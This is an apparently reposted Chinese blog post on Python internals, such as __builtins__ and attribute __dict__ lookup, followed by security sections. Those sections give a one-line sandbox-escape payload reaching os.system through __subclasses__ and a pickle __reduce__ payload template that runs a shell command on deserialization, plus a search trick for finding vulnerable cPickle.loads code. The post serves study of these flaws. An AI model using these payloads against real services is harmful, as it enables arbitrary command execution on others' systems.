Python的一些高级特性以及反序列化漏洞
0x01 简述
文章主要记录一下python高级特性以及安全相关的问题
python作为脚本语言,其作为高级语言是由c语言开发的,关于python的编译和链接可以看向这里https://github.com/python/cpython(建议自己读读源码,可以更好的理解python的语言特性等。)
python标准库:
python标准库包含内置模块(有c语言实现,主要提供接入系统的基本功能,例如文件的IO),还有一些python实现的模块提供了类似于其它语言的一些标准解决方案。
python自带了内置库和第三方库的文档查看器:命令行输入:
python –m pydoc –p 8888
查看
内置模块(c语言实现)

内置模块(python实现)
第三方模块

python一般的package结构图

0x02 python的一些特性
1> __builtin__与__builtins__的区别与关系
python有一个内建模块,该模块会在python启动后,但在没有执行python代码前,会被加载到内存.即可用调用里面的函数,其中__builtin__只存在与python2.x中__builtins__在python2.x/3.x都有,是内建模块一个引用,与__builtin__相同的是也会一开始被先于程序加载到内存它们存在如下的区别:
1、在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此
2、非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身可以参考这篇文章: https://www.jianshu.com/p/645e97383c1f
2> 属性的__dict__
Python中的属性是分层定义的,当我们需要调用某个属性的时候,Python会一层层向上遍历,直到找到那个属性。(某个属性可能出现在不同的层被重复定义,Python向上的过程中,会选取先遇到的那一个,也就是比较低层的属性定义)。
下面用张图展示一下其中的关系

例如下面的代码:
class bird(object):
feather = True class chicken(bird):
fly = False
def __init__(self, age):
self.age = age
def eat(self):
print("eat")
class malechicken(object):
sex = "male" summer = chicken(2) print(bird.__dict__)
print(chicken.__dict__)
print(summer.__dict__)
输出:
/Library/Frameworks/Python.framework/Versions/3.5/bin/python3.5 /Users/m0rk/GitHub/Demo/request_debug.py
{'__doc__': None, '__module__': '__main__', '__weakref__': <attribute '__weakref__' of 'bird' objects>, '__dict__': <attribute '__dict__' of 'bird' objects>, 'feather': True}
{'__doc__': None, '__module__': '__main__', 'fly': False, 'malechicken': <class '__main__.chicken.malechicken'>, '__init__': <function chicken.__init__ at 0x1045e8488>, 'eat': <function chicken.eat at 0x1045e8598>}
{'age': 2} Process finished with exit code 0
可参考:
http://www.cnblogs.com/vamei/archive/2012/12/11/2772448.html
http://hbprotoss.github.io/posts/python-descriptor.html
0x03 python沙箱绕过
最早的文章见这里https://hexplo.it/escaping-the-csawctf-python-sandbox/
rickgray 修改成更为通用的poc,文章见这里 http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates
[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('id')
0x04 反序列化漏洞
同其它语言一样,python也有序列化的功能,官方库里提供了pickle/cPickle的库用于序列化和反序列化,这两个库的作用和使用方法都是一致的,只是一个用纯py实现,另一个用c实现。
python序列化的payload如下:
#!/usr/bin/env python
import cPickle
import os class exp(object):
def __reduce__(self):
ser = """put command here"""
return (os.system, (ser,)) e = exp()
ser = cPickle.dumps(e)
当有存在漏洞的系统反序列化我们的payload的时候,命令就执行了。
0x05 其它
在这篇文章中 Python Pickle反序列化带来的安全问题(http://www.vuln.cn/8094) 作者提到了 请灵活使用google 即在google中搜索 cPickle.loads( site:github.com 既可寻找反序列化在现实中的应用,挺不错的,学习了
0x06 Reference
1. https://github.com/bit4woo/python_sec
2. Python Pickle反序列化带来的安全问题 http://www.vuln.cn/8094
3.python 正向连接后门 https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
Python的一些高级特性以及反序列化漏洞的更多相关文章
- Python:笔记(4)——高级特性
Python:笔记(4)——高级特性 切片 取一个list或tuple的部分元素是非常常见的操作.Python提供了切片操作符,来完成部分元素的选取 除了上例简单的下标范围取元素外,Python还支持 ...
- Python面向对象编程高级特性
***这里还是根据网上资料,主要是廖雪峰老师的教程学习的笔记,主要介绍python面向对象的高级特性,笔记不全,只是记录自己觉得容易出错的地方*** 1.python作为一种动态语言,他的动态绑定机制 ...
- Python的一些高级特性
内容基本上来自于廖雪峰老师的blog相当于自己手打了一遍,加强加强理解吧. http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493 ...
- python 9学习 高级特性
高级特性 掌握了Python的数据类型. 语句 和函数,基本上就可以编写出很多有用的程序了. 比如构造一个1, 3, 5, 7, ..., 99的列表,可以通过循环实现: L = [] n ...
- python:函数的高级特性
很多语言中,都允许把函数本身做为参数,传递给其它参数:即所谓的高阶函数.python中也有类似特性: 一.map/reduce.filter.sorted hadoop里的map-reduce思想在p ...
- Python中的高级特性
1.切片.使用“[”和“]”即可,类似Matlab,可以切list,tuple,字符串等. 2.迭代.Python内置的enumerate函数可以把一个list变成索引-元素对. 3.列表生成式.列表 ...
- Python语言的高级特性
函数式编程 基于lambda演算的一种编程方式 函数中只有函数 函数可以作为参数,同样可以作为返回值 纯函数式编程语言:LISP , Haskell python函数式编程只是借鉴函数式编程的一些特点 ...
- Python快速学习-高级特性
1.切片 取一个list或tuple的部分元素是非常常见的操作 L = ['hello','the','world','and','my','love'] 取前三个元素 L[0:3],L[:3] 取倒 ...
- Python学习之高级特性
切片 在Python基础篇里,我们知道Python的可序列对象可以通过索引号(下标)来引用对象元素,索引号可以由0开始从左向右依次获取,可以从-1开始由右向左获取.这种方法可以帮助我们依次获取我们想要 ...
随机推荐
- centos7 永久添加静态路由
查看路由表 ip route show|column -t route -n 永久添加路由 vim /etc/sysconfig/network-scripts/route-ens224 via 17 ...
- 编辑器之神-vim的使用
vim即vi的升级版:在linux中,vi是vim的软链接,我们敲vi和vim出来的都是vim: 纯手打,如有错误,敬请指出. vi的三种模式及简单使用 vi三种模式 命令模式(默认):是文件的入口, ...
- svn + nginx unit + python3自动化发布web服务方法
本周将python web服务管理更换成nginx unit以后发现接口性能有了明显的提升,访问速度快了不少.不过有个很大的问题就是使用svn自动化发布以后,服务并没有刷新使用新的代码运行,而又不懂得 ...
- 突击战 (uva 11729)贪心
思路:就是把J大的放在前面.为什么这样贪心呢? 看看这个图 #include<iostream> #include<algorithm> #include<vector& ...
- oracle 基础查询语句
select abs(10) from dual; --取绝对值select ceil(3.6) from dual;--向上取整 select power(2,3) from dual;--2的3次 ...
- 最新版jQuery v3.3.1的BUG以及解决办法(什么问题不重要,怎么解决问题才重要)
发现问题 最新版的 FineUIPro v5.2.0 中,我们将内置的 jQuery v1.12.4 升级到 jQuery v3.3.1 ,可以看升级记录: +升级到jQuery v3.3.1. ...
- .NET 增加扩展方法
声明:通过一个js的实例来告诉你C#也可以实现这样的效果. 在JS中是这样实现的: 你是否见过JS中给系统默认Array对象增加一个自定义查重方法contains 在没有给Array原型上增加cont ...
- Java的基本类型和包装类型
测试的JDK版本:java version "1.7.0_79".Java的9中基本类型:void.char.boolean.byte.short.int.long.float.d ...
- Hyperscan-5.1.0 安装
安装依赖ragel ragel源码下载地址 编译安装 $ tar -xvf ragel-6.10.tar.gz $ cd ragel-6.10 $ ./configure $ make $ sudo ...
- Docker 部署Confluence15.2
一.数据库准备 数据库版本:5.7 这里数据库并没有采用docker镜像方式,而是选择已有数据库.至于数据库安装这里不再说明. 注:我这里安装confluence时,需要在下面配置数据库信息时,在数据 ...